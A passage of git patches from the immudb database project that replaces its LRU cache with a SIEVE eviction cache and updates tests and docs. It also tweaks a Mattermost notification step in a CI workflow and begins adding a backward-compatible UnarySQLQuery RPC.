a/embedded/appendable/multiapp/appendable_lru_cache.go +++ b/embedded/appendable/multiapp/appendable_cache.go @@ -21,36 +21,36 @@ import ( "github.com/codenotary/immudb/embedded/cache" ) -type appendableLRUCache struct { - cache *cache.LRUCache +type appendableCache struct { + cache *cache.Cache } -func (c appendableLRUCache) Put(key int64, value appendable.Appendable) (int64, appendable.Appendable, error) { +func (c appendableCache) Put(key int64, value appendable.Appendable) (int64, appendable.Appendable, error) { k, v, err := c.cache.Put(key, value) rkey, _ := k.(int64) rvalue, _ := v.(appendable.Appendable) return rkey, rvalue, err } -func (c appendableLRUCache) Get(key int64) (appendable.Appendable, error) { +func (c appendableCache) Get(key int64) (appendable.Appendable, error) { v, err := c.cache.Get(key) rvalue, _ := v.(appendable.Appendable) return rvalue, err } -func (c appendableLRUCache) Pop(key int64) (appendable.Appendable, error) { +func (c appendableCache) Pop(key int64) (appendable.Appendable, error) { v, err := c.cache.Pop(key) rvalue, _ := v.(appendable.Appendable) return rvalue, err } -func (c appendableLRUCache) Replace(key int64, value appendable.Appendable) (appendable.Appendable, error) { +func (c appendableCache) Replace(key int64, value appendable.Appendable) (appendable.Appendable, error) { v, err := c.cache.Replace(key, value) rvalue, _ := v.(appendable.Appendable) return rvalue, err } -func (c appendableLRUCache) Apply(fun func(k int64, v appendable.Appendable) error) error { +func (c appendableCache) Apply(fun func(k int64, v appendable.Appendable) error) error { return c.cache.Apply(func(k, v interface{}) error { return fun(k.(int64), v.(appendable.Appendable)) }) diff --git a/embedded/appendable/multiapp/appendable_lru_cache_test.go b/embedded/appendable/multiapp/appendable_cache_test.go similarity index 92% rename from embedded/appendable/multiapp/appendable_lru_cache_test.go rename to embedded/appendable/multiapp/appendable_cache_test.go index e6d8e4545c..24a2bbe542 100644 --- a/embedded/appendable/multiapp/appendable_lru_cache_test.go +++ b/embedded/appendable/multiapp/appendable_cache_test.go @@ -25,10 +25,10 @@ import ( "github.com/stretchr/testify/require" ) -func TestAppendableLRUCache(t *testing.T) { - genericCache, err := cache.NewLRUCache(5) +func TestAppendableCache(t *testing.T) { + genericCache, err := cache.NewCache(5) require.NoError(t, err) - c := appendableLRUCache{cache: genericCache} + c := appendableCache{cache: genericCache} m1 := &mocked.MockedAppendable{} id, app, err := c.Put(1, m1) @@ -57,7 +57,7 @@ func TestAppendableLRUCache(t *testing.T) { m2 := &mocked.MockedAppendable{} id, app, err = c.Put(7, m2) require.NoError(t, err) - require.EqualValues(t, 1, id) + require.EqualValues(t, 2, id) require.Equal(t, m1, app) m3 := &mocked.MockedAppendable{} @@ -82,5 +82,4 @@ func TestAppendableLRUCache(t *testing.T) { return nil }) require.NoError(t, err) - } diff --git a/embedded/appendable/multiapp/metrics.go b/embedded/appendable/multiapp/metrics.go index ea1bece85a..0414a86676 100644 --- a/embedded/appendable/multiapp/metrics.go +++ b/embedded/appendable/multiapp/metrics.go @@ -22,7 +22,7 @@ import ( ) var ( - // ---- LRU Cache --------------------------------------- + // ---- Cache --------------------------------------- metricsCacheEvents = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_multiapp_cache_events", diff --git a/embedded/appendable/multiapp/multi_app.go b/embedded/appendable/multiapp/multi_app.go index c34497eb74..8bcb719ccf 100644 --- a/embedded/appendable/multiapp/multi_app.go +++ b/embedded/appendable/multiapp/multi_app.go @@ -94,7 +94,7 @@ func (d *DefaultMultiFileAppendableHooks) OpenAppendable(options *singleapp.Opti } type MultiFileAppendable struct { - appendables appendableLRUCache + appendables appendableCache currAppID int64 currApp appendable.Appendable @@ -180,7 +180,7 @@ func OpenWithHooks(path string, hooks MultiFileAppendableHooks, opts *Options) ( return nil, err } - cache, err := cache.NewLRUCache(opts.maxOpenedFiles) + cache, err := cache.NewCache(opts.maxOpenedFiles) if err != nil { return nil, err } @@ -188,7 +188,7 @@ func OpenWithHooks(path string, hooks MultiFileAppendableHooks, opts *Options) ( fileSize, _ := appendable.NewMetadata(currApp.Metadata()).GetInt(metaFileSize) return &MultiFileAppendable{ - appendables: appendableLRUCache{cache: cache}, + appendables: appendableCache{cache: cache}, currAppID: currAppID, currApp: currApp, path: path, diff --git a/embedded/appendable/multiapp/multi_app_test.go b/embedded/appendable/multiapp/multi_app_test.go index 6e1a96e869..c07a38b9c0 100644 --- a/embedded/appendable/multiapp/multi_app_test.go +++ b/embedded/appendable/multiapp/multi_app_test.go @@ -95,7 +95,7 @@ func TestMultiApp(t *testing.T) { require.NoError(t, err) } -func TestMultiApOffsetAndLRUCacheEviction(t *testing.T) { +func TestMultiApOffsetAndCacheEviction(t *testing.T) { a, err := Open(t.TempDir(), DefaultOptions().WithFileSize(1).WithMaxOpenedFiles(1)) require.NoError(t, err) diff --git a/embedded/appendable/remoteapp/remote_app_test.go b/embedded/appendable/remoteapp/remote_app_test.go index 013dcdbef4..5fce86dcab 100644 --- a/embedded/appendable/remoteapp/remote_app_test.go +++ b/embedded/appendable/remoteapp/remote_app_test.go @@ -210,7 +210,7 @@ func TestWritePastFirstChunk(t *testing.T) { assert.True(t, waitForObject(mem, "00000005.aof")) - // LRU cache shuld contain chunks: 3, 4, 5 now, 6th is the active one + // Cache shuld contain chunks: 3, 4, 5 now, 6th is the active one assert.True(t, waitForRemoval(fmt.Sprintf("%s/00000000.aof", path))) assert.True(t, waitForRemoval(fmt.Sprintf("%s/00000001.aof", path))) assert.True(t, waitForRemoval(fmt.Sprintf("%s/00000002.aof", path))) diff --git a/embedded/cache/lru_cache.go b/embedded/cache/cache.go similarity index 50% rename from embedded/cache/lru_cache.go rename to embedded/cache/cache.go index 8415b00d32..3d4de3bad4 100644 --- a/embedded/cache/lru_cache.go +++ b/embedded/cache/cache.go @@ -21,49 +21,56 @@ import ( "errors" "fmt" "sync" + "sync/atomic" ) -var ErrIllegalArguments = errors.New("illegal arguments") -var ErrKeyNotFound = errors.New("key not found") -var ErrIllegalState = errors.New("illegal state") +var ( + ErrIllegalArguments = errors.New("illegal arguments") + ErrKeyNotFound = errors.New("key not found") + ErrIllegalState = errors.New("illegal state") +) + +// Cache implements the SIEVE cache replacement policy. +type Cache struct { + data map[interface{}]*entry -type LRUCache struct { - data map[interface{}]*entry - lruList *list.List - size int + hand *list.Element + list *list.List + size int - mutex sync.Mutex + mutex sync.RWMutex } type entry struct { - value interface{} - order *list.Element + value interface{} + visited uint32 + order *list.Element } -func NewLRUCache(size int) (*LRUCache, error) { +func NewCache(size int) (*Cache, error) { if size < 1 { return nil, ErrIllegalArguments } - return &LRUCache{ - data: make(map[interface{}]*entry, size), - lruList: list.New(), - size: size, + return &Cache{ + data: make(map[interface{}]*entry, size), + list: list.New(), + size: size, }, nil } -func (c *LRUCache) Resize(size int) { +func (c *Cache) Resize(size int) { c.mutex.Lock() defer c.mutex.Unlock() - for size < c.lruList.Len() { + for size < c.list.Len() { c.evict() } c.size = size } -func (c *LRUCache) Put(key interface{}, value interface{}) (rkey interface{}, rvalue interface{}, err error) { +func (c *Cache) Put(key interface{}, value interface{}) (interface{}, interface{}, error) { if key == nil || value == nil { return nil, nil, ErrIllegalArguments } @@ -72,62 +79,78 @@ func (c *LRUCache) Put(key interface{}, value interface{}) (rkey interface{}, rv defer c.mutex.Unlock() e, ok := c.data[key] - if ok { + e.visited = 1 e.value = value - c.lruList.MoveToBack(e.order) - return + return nil, nil, nil } - e = &entry{ - value: value, - order: c.lruList.PushBack(key), - } - c.data[key] = e + var rkey, rvalue interface{} + if c.list.Len() >= c.size { + evictedKey, entry, err := c.evict() + if err != nil { + return nil, nil, err + } - if c.lruList.Len() > c.size { - return c.evict() + rkey = evictedKey + rvalue = entry.value } - return nil, nil, nil + c.data[key] = &entry{ + value: value, + visited: 0, + order: c.list.PushFront(key), + } + return rkey, rvalue, nil } -func (c *LRUCache) evict() (rkey interface{}, rvalue interface{}, err error) { - if c.lruList.Len() == 0 { +func (c *Cache) evict() (rkey interface{}, e *entry, err error) { + if c.list.Len() == 0 { return nil, nil, fmt.Errorf("%w: evict requested in an empty cache", ErrIllegalState) } - lruEntry := c.lruList.Front() - rkey = lruEntry.Value + curr := c.hand + for { + if curr == nil { + curr = c.list.Back() + } - re := c.data[rkey] - rvalue = re.value + key := curr.Value - delete(c.data, rkey) - c.lruList.Remove(lruEntry) + e := c.data[key] + if e.visited == 0 { + c.hand = curr.Prev() - return rkey, rvalue, nil + c.list.Remove(curr) + delete(c.data, key) + + return key, e, nil + } + + e.visited = 0 + curr = curr.Prev() + } } -func (c *LRUCache) Get(key interface{}) (interface{}, error) { +func (c *Cache) Get(key interface{}) (interface{}, error) { if key == nil { return nil, ErrIllegalArguments } - c.mutex.Lock() - defer c.mutex.Unlock() + c.mutex.RLock() + defer c.mutex.RUnlock() e, ok := c.data[key] if !ok { return nil, ErrKeyNotFound } - c.lruList.MoveToBack(e.order) + atomic.StoreUint32(&e.visited, 1) return e.value, nil } -func (c *LRUCache) Pop(key interface{}) (interface{}, error) { +func (c *Cache) Pop(key interface{}) (interface{}, error) { if key == nil { return nil, ErrIllegalArguments } @@ -140,12 +163,17 @@ func (c *LRUCache) Pop(key interface{}) (interface{}, error) { return nil, ErrKeyNotFound } - c.lruList.Remove(e.order) + if c.hand == e.order { + c.hand = c.hand.Prev() + } + + c.list.Remove(e.order) delete(c.data, key) + return e.value, nil } -func (c *LRUCache) Replace(k interface{}, v interface{}) (interface{}, error) { +func (c *Cache) Replace(k interface{}, v interface{}) (interface{}, error) { if k == nil { return nil, ErrIllegalArguments } @@ -163,21 +191,21 @@ func (c *LRUCache) Replace(k interface{}, v interface{}) (interface{}, error) { return oldV, nil } -func (c *LRUCache) Size() int { +func (c *Cache) Size() int { c.mutex.Lock() defer c.mutex.Unlock() return c.size } -func (c *LRUCache) EntriesCount() int { +func (c *Cache) EntriesCount() int { c.mutex.Lock() defer c.mutex.Unlock() - return c.lruList.Len() + return c.list.Len() } -func (c *LRUCache) Apply(fun func(k interface{}, v interface{}) error) error { +func (c *Cache) Apply(fun func(k interface{}, v interface{}) error) error { c.mutex.Lock() defer c.mutex.Unlock() diff --git a/embedded/cache/lru_cache_test.go b/embedded/cache/cache_test.go similarity index 65% rename from embedded/cache/lru_cache_test.go rename to embedded/cache/cache_test.go index cb0fd83872..35bdcadcfe 100644 --- a/embedded/cache/lru_cache_test.go +++ b/embedded/cache/cache_test.go @@ -18,21 +18,36 @@ package cache import ( "errors" + "math/rand" "testing" + "time" "github.com/stretchr/testify/require" ) +func setupCache(t *testing.T) *Cache { + rand.Seed(time.Now().UnixNano()) + + size := 10 + rand.Intn(100) + + cache, err := NewCache(size) + require.NoError(t, err) + return cache +} + func TestCacheCreation(t *testing.T) { - _, err := NewLRUCache(0) + _, err := NewCache(0) require.ErrorIs(t, err, ErrIllegalArguments) cacheSize := 10 - cache, err := NewLRUCache(cacheSize) + cache, err := NewCache(cacheSize) require.NoError(t, err) require.NotNil(t, cache) require.Equal(t, cacheSize, cache.Size()) + _, _, err = cache.evict() + require.Error(t, err) + _, err = cache.Get(nil) require.ErrorIs(t, err, ErrIllegalArguments) @@ -59,14 +74,14 @@ func TestCacheCreation(t *testing.T) { } for i := 0; i < cacheSize/2; i++ { - v, err := cache.Get(i) - require.NoError(t, err) - require.Equal(t, v, 10*i) + _, err := cache.Get(i) + require.ErrorIs(t, err, ErrKeyNotFound) } for i := cacheSize / 2; i < cacheSize; i++ { - _, err = cache.Get(i) - require.ErrorIs(t, err, ErrKeyNotFound) + v, err := cache.Get(i) + require.NoError(t, err, ErrKeyNotFound) + require.Equal(t, v, 10*i) } for i := cacheSize; i < cacheSize+cacheSize/2; i++ { @@ -76,9 +91,88 @@ func TestCacheCreation(t *testing.T) { } } +func TestEvictionPolicy(t *testing.T) { + fillCache := func(cache *Cache) { + for i := 0; i < cache.Size(); i++ { + key, value, err := cache.Put(i, i+1) + require.NoError(t, err) + require.Nil(t, key) + require.Nil(t, value) + } + } + + t.Run("should evict non visited items", func(t *testing.T) { + t.Run("starting from element at middle", func(t *testing.T) { + cache := setupCache(t) + + fillCache(cache) + + el := rand.Intn(cache.Size()) + for i := 0; i < el; i++ { + _, err := cache.Get(i) + require.NoError(t, err) + } + + for i := el; i < cache.Size(); i++ { + key, _, err := cache.Put(cache.Size()+i, cache.Size()+i+1) + require.NoError(t, err) + require.Equal(t, i%cache.size, key) + } + }) + + t.Run("at even positions", func(t *testing.T) { + cache := setupCache(t) + + fillCache(cache) + + for i := 0; i < (cache.Size()+1)/2; i++ { + _, err := cache.Get(2 * i) + require.NoError(t, err) + } + + for i := 0; i < cache.Size()/2; i++ { + key, _, err := cache.Put(cache.Size()+i, cache.Size()+i+1) + require.NoError(t, err) + require.Equal(t, key, 2*i+1) + } + }) + + t.Run("starting from back", func(t *testing.T) { + cache := setupCache(t) + + fillCache(cache) + + n := 1 + rand.Intn(cache.Size()-1) + for i := 0; i < n; i++ { + key, _, err := cache.Put(cache.Size()+i, cache.Size()+i+1) + require.NoError(t, err) + require.Equal(t, key, i) + } + }) + }) + + t.Run("should evict visited items", func(t *testing.T) { + cache := setupCache(t) + + fillCache(cache) + + for i := 0; i < cache.Size(); i++ { + _, err := cache.Get(i) + require.NoError(t, err) + } + + n := 1 + rand.Intn(cache.Size()-1) + for i := 0; i < n; i++ { + key, _, err := cache.Put(cache.Size()+i, cache.Size()+i+1) + require.NoError(t, err) + require.Equal(t, key, i) + } + }) +} + func TestApply(t *testing.T) { cacheSize := 10 - cache, err := NewLRUCache(cacheSize) + cache, err := NewCache(cacheSize) require.NoError(t, err) require.NotNil(t, cache) require.Equal(t, cacheSize, cache.Size()) @@ -104,7 +198,7 @@ func TestApply(t *testing.T) { func TestPop(t *testing.T) { cacheSize := 10 - cache, err := NewLRUCache(cacheSize) + cache, err := NewCache(cacheSize) require.NoError(t, err) for i := 0; i < cacheSize; i++ { @@ -137,7 +231,7 @@ func TestPop(t *testing.T) { func TestReplace(t *testing.T) { cacheSize := 10 - cache, err := NewLRUCache(cacheSize) + cache, err := NewCache(cacheSize) require.NoError(t, err) for i := 0; i < cacheSize; i++ { @@ -172,7 +266,7 @@ func TestReplace(t *testing.T) { func TestCacheResizing(t *testing.T) { initialCacheSize := 10 - cache, err := NewLRUCache(initialCacheSize) + cache, err := NewCache(initialCacheSize) require.NoError(t, err) require.NotNil(t, cache) require.Equal(t, initialCacheSize, cache.Size()) @@ -189,8 +283,9 @@ func TestCacheResizing(t *testing.T) { require.Equal(t, largerCacheSize, cache.Size()) for i := 0; i < initialCacheSize; i++ { - _, err = cache.Get(i) + v, err := cache.Get(i) require.NoError(t, err) + require.Equal(t, i, v) } for i := initialCacheSize; i < largerCacheSize; i++ { @@ -205,11 +300,11 @@ func TestCacheResizing(t *testing.T) { for i := 0; i < initialCacheSize; i++ { _, err = cache.Get(i) - require.ErrorIs(t, err, ErrKeyNotFound) + require.NoError(t, err) } for i := initialCacheSize; i < largerCacheSize; i++ { _, err = cache.Get(i) - require.NoError(t, err) + require.ErrorIs(t, err, ErrKeyNotFound) } } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 3c86f9953e..4cc70461f6 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -154,10 +154,10 @@ type ImmuStore struct { vLogUnlockedList *list.List vLogsCond *sync.Cond - vLogCache *cache.LRUCache + vLogCache *cache.Cache txLog appendable.Appendable - txLogCache *cache.LRUCache + txLogCache *cache.Cache cLog appendable.Appendable cLogEntrySize int @@ -571,10 +571,10 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable vLogsMap[byte(i)] = &refVLog{vLog: vLog, unlockedRef: e} } - var vLogCache *cache.LRUCache + var vLogCache *cache.Cache if opts.VLogCacheSize > 0 { - vLogCache, err = cache.NewLRUCache(opts.VLogCacheSize) + vLogCache, err = cache.NewCache(opts.VLogCacheSize) if err != nil { return nil, err } @@ -602,7 +602,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable return nil, fmt.Errorf("could not open aht: %w", err) } - txLogCache, err := cache.NewLRUCache(opts.TxLogCacheSize) // TODO: optionally it could include up to opts.MaxActiveTransactions upon start + txLogCache, err := cache.NewCache(opts.TxLogCacheSize) // TODO: optionally it could include up to opts.MaxActiveTransactions upon start if err != nil { return nil, err } diff --git a/embedded/store/options.go b/embedded/store/options.go index bcb9ed1dbd..72c8eff2e5 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -102,13 +102,13 @@ type Options struct { // Maximum number of simultaneous IO writes MaxIOConcurrency int - // Size of the LRU cache for transaction logs + // Size of the cache for transaction logs TxLogCacheSize int // Maximum number of simultaneous value files opened VLogMaxOpenedFiles int - // Size of the LRU cache for value logs + // Size of the cache for value logs VLogCacheSize int // Maximum number of simultaneous transaction log files opened @@ -147,7 +147,7 @@ type Options struct { } type IndexOptions struct { - // Size of the Btree node LRU cache + // Size of the Btree node cache CacheSize int // Number of new index entries between disk flushes diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index a7cdc28a60..9ea65328ca 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -170,7 +170,7 @@ type TBtree struct { logger logger.Logger nLog appendable.Appendable - cache *cache.LRUCache + cache *cache.Cache nmutex sync.Mutex // mutex for cache and file reading hLog appendable.Appendable @@ -555,7 +555,7 @@ func OpenWith(path string, nLog, hLog, cLog appendable.Appendable, opts *Options } } - cache, err := cache.NewLRUCache(opts.cacheSize) + cache, err := cache.NewCache(opts.cacheSize) if err != nil { return nil, err } diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index de3b9680a7..99bfe613a0 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -477,7 +477,7 @@ DEPRECATED | excludeCommitTime | [NullableBool](#immudb.schema.NullableBool) | | If set to true, do not include commit timestamp in transaction headers | | maxConcurrency | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneous commits prepared for write | | maxIOConcurrency | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneous IO writes | -| txLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the LRU cache for transaction logs | +| txLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the cache for transaction logs | | vLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneous value files opened | | txLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneous transaction log files opened | | commitLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneous commit log files opened | @@ -490,7 +490,7 @@ DEPRECATED | ahtSettings | [AHTNullableSettings](#immudb.schema.AHTNullableSettings) | | Settings of Appendable Hash Tree | | maxActiveTransactions | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of pre-committed transactions | | mvccReadSetLimit | [NullableUint32](#immudb.schema.NullableUint32) | | Limit the number of read entries per transaction | -| vLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the LRU cache for value logs | +| vLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the cache for value logs | | truncationSettings | [TruncationNullableSettings](#immudb.schema.TruncationNullableSettings) | | Truncation settings | | embeddedValues | [NullableBool](#immudb.schema.NullableBool) | | If set to true, values are stored together with the transaction header (true by default) | | preallocFiles | [NullableBool](#immudb.schema.NullableBool) | | Enable file preallocation | @@ -916,7 +916,7 @@ DualProofV2 contains inclusion and consistency proofs | ----- | ---- | ----- | ----------- | | flushThreshold | [NullableUint32](#immudb.schema.NullableUint32) | | Number of new index entries between disk flushes | | syncThreshold | [NullableUint32](#immudb.schema.NullableUint32) | | Number of new index entries between disk flushes with file sync | -| cacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the Btree node LRU cache | +| cacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the Btree node cache | | maxNodeSize | [NullableUint32](#immudb.schema.NullableUint32) | | Max size of a single Btree node in bytes | | maxActiveSnapshots | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of active btree snapshots | | renewSnapRootAfter | [NullableUint64](#immudb.schema.NullableUint64) | | Time in milliseconds between the most recent DB snapshot is automatically renewed | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index bccbcea1fd..ea538c7970 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -5692,7 +5692,7 @@ type DatabaseNullableSettings struct { MaxConcurrency *NullableUint32 `protobuf:"bytes,13,opt,name=maxConcurrency,proto3" json:"maxConcurrency,omitempty"` // Maximum number of simultaneous IO writes MaxIOConcurrency *NullableUint32 `protobuf:"bytes,14,opt,name=maxIOConcurrency,proto3" json:"maxIOConcurrency,omitempty"` - // Size of the LRU cache for transaction logs + // Size of the cache for transaction logs TxLogCacheSize *NullableUint32 `protobuf:"bytes,15,opt,name=txLogCacheSize,proto3" json:"txLogCacheSize,omitempty"` // Maximum number of simultaneous value files opened VLogMaxOpenedFiles *NullableUint32 `protobuf:"bytes,16,opt,name=vLogMaxOpenedFiles,proto3" json:"vLogMaxOpenedFiles,omitempty"` @@ -5718,7 +5718,7 @@ type DatabaseNullableSettings struct { MaxActiveTransactions *NullableUint32 `protobuf:"bytes,26,opt,name=maxActiveTransactions,proto3" json:"maxActiveTransactions,omitempty"` // Limit the number of read entries per transaction MvccReadSetLimit *NullableUint32 `protobuf:"bytes,27,opt,name=mvccReadSetLimit,proto3" json:"mvccReadSetLimit,omitempty"` - // Size of the LRU cache for value logs + // Size of the cache for value logs VLogCacheSize *NullableUint32 `protobuf:"bytes,28,opt,name=vLogCacheSize,proto3" json:"vLogCacheSize,omitempty"` // Truncation settings TruncationSettings *TruncationNullableSettings `protobuf:"bytes,29,opt,name=truncationSettings,proto3" json:"truncationSettings,omitempty"` @@ -6157,7 +6157,7 @@ type IndexNullableSettings struct { FlushThreshold *NullableUint32 `protobuf:"bytes,1,opt,name=flushThreshold,proto3" json:"flushThreshold,omitempty"` // Number of new index entries between disk flushes with file sync SyncThreshold *NullableUint32 `protobuf:"bytes,2,opt,name=syncThreshold,proto3" json:"syncThreshold,omitempty"` - // Size of the Btree node LRU cache + // Size of the Btree node cache CacheSize *NullableUint32 `protobuf:"bytes,3,opt,name=cacheSize,proto3" json:"cacheSize,omitempty"` // Max size of a single Btree node in bytes MaxNodeSize *NullableUint32 `protobuf:"bytes,4,opt,name=maxNodeSize,proto3" json:"maxNodeSize,omitempty"` diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index fef6deb7bd..51e0942656 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1036,7 +1036,7 @@ message DatabaseNullableSettings { // Maximum number of simultaneous IO writes NullableUint32 maxIOConcurrency = 14; - // Size of the LRU cache for transaction logs + // Size of the cache for transaction logs NullableUint32 txLogCacheSize = 15; // Maximum number of simultaneous value files opened @@ -1075,7 +1075,7 @@ message DatabaseNullableSettings { // Limit the number of read entries per transaction NullableUint32 mvccReadSetLimit = 27; - // Size of the LRU cache for value logs + // Size of the cache for value logs NullableUint32 vLogCacheSize = 28; // Truncation settings @@ -1144,7 +1144,7 @@ message IndexNullableSettings { // Number of new index entries between disk flushes with file sync NullableUint32 syncThreshold = 2; - // Size of the Btree node LRU cache + // Size of the Btree node cache NullableUint32 cacheSize = 3; // Max size of a single Btree node in bytes diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 19cb8ad607..a667b5c017 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -57,13 +57,13 @@ type Session struct { creationTime time.Time lastActivityTime time.Time transactions map[string]transactions.Transaction - documentReaders *cache.LRUCache // track searchID to document.DocumentReader + documentReaders *cache.Cache // track searchID to document.DocumentReader log logger.Logger } func NewSession(sessionID string, user *auth.User, db database.DB, log logger.Logger) *Session { now := time.Now() - lruCache, _ := cache.NewLRUCache(DefaultMaxDocumentReadersCacheSize) + lruCache, _ := cache.NewCache(DefaultMaxDocumentReadersCacheSize) return &Session{ id: sessionID, From 03e44c2766a4613f602635672e56081dc7c5a705 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Mon, 20 May 2024 09:07:24 +0200 Subject: [PATCH 1014/1062] Update mattermost action --- .github/workflows/performance.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 788740f283..e5e97758c1 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -79,7 +79,7 @@ jobs: - name: Notify on immudb channel on Mattermost if: github.event.schedule == '0 0 * * *' uses: mattermost/action-mattermost-notify@master - env: + with: MATTERMOST_WEBHOOK_URL: ${{ secrets.MATTERMOST_WEBHOOK_URL }} MATTERMOST_CHANNEL: 'immudb-tests' From 1d59ec59044ecb7a0772032c7459b9028d931dce Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Tue, 21 May 2024 08:43:00 +0200 Subject: [PATCH 1015/1062] Update performance.yml --- .github/workflows/performance.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index e5e97758c1..d8d561401a 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -75,13 +75,14 @@ jobs: **Duration**: ${{ env.duration }}s | **immudb version**: ${{ env.version }}\n $(jq -r '.benchmarks[] | .name + "\n" + .summary' perf-test-results.json) \n **Check details [here](${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }})** - \"}" > mattermost.json + \"}" > mattermost.json && echo MM_PAYLOAD=\'$(cat mattermost.json)\' >> $GITHUB_ENV - name: Notify on immudb channel on Mattermost if: github.event.schedule == '0 0 * * *' uses: mattermost/action-mattermost-notify@master with: MATTERMOST_WEBHOOK_URL: ${{ secrets.MATTERMOST_WEBHOOK_URL }} MATTERMOST_CHANNEL: 'immudb-tests' + PAYLOAD: ${{ env.MM_PAYLOAD }} performance-test-suite-upload-s3: if: github.event.schedule != '0 0 * * *' From 87e13fc7e9450af769ae2d84dd8cc5786e7d085e Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Mon, 20 May 2024 14:24:31 +0200 Subject: [PATCH 1016/1062] Add UnarySQLQuery rpc for backward compatible http API Signed-off-by: Stefano Scafiti --- embedded/sql/row_reader.go | 6 +- pkg/api/schema/docs.md | 1 + pkg/api/schema/schema.pb.go | 290 ++++++++++++++------------- pkg/api/schema/schema.pb.gw.go | 81 ++++++++ pkg/api/schema/schema.proto | 8 + pkg/api/schema/schema.swagger.json | 6 +- pkg/api/schema/schema_grpc.pb.go | 38 ++++ pkg/server/servertest/server_mock.go | 4 + pkg/server/sql.go | 23 ++- 9 files changed, 305 insertions(+), 152 deletions(-) diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index dba4a891f1..07132374aa 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -410,8 +410,8 @@ func (r *rawRowReader) reduceTxRange() (err error) { return nil } -func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { - if ctx.Err() != nil { +func (r *rawRowReader) Read(ctx context.Context) (*Row, error) { + if err := ctx.Err(); err != nil { return nil, err } @@ -419,7 +419,7 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { var vref store.ValueRef // evaluation of txRange is postponed to allow parameters to be provided after rowReader initialization - err = r.reduceTxRange() + err := r.reduceTxRange() if errors.Is(err, store.ErrTxNotFound) { return nil, ErrNoMoreRows } diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 99bfe613a0..6273e640e3 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -2545,6 +2545,7 @@ immudb gRPC & REST service | replicateTx | [Chunk](#immudb.schema.Chunk) stream | [TxHeader](#immudb.schema.TxHeader) | | | streamExportTx | [ExportTxRequest](#immudb.schema.ExportTxRequest) stream | [Chunk](#immudb.schema.Chunk) stream | | | SQLExec | [SQLExecRequest](#immudb.schema.SQLExecRequest) | [SQLExecResult](#immudb.schema.SQLExecResult) | | +| UnarySQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | For backward compatibility with the grpc-gateway API | | SQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) stream | | | ListTables | [.google.protobuf.Empty](#google.protobuf.Empty) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | | DescribeTable | [Table](#immudb.schema.Table) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index ea538c7970..0627714eed 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -10128,7 +10128,7 @@ var file_schema_proto_rawDesc = []byte{ 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, - 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xbd, 0x34, 0x0a, 0x0b, + 0x52, 0x65, 0x61, 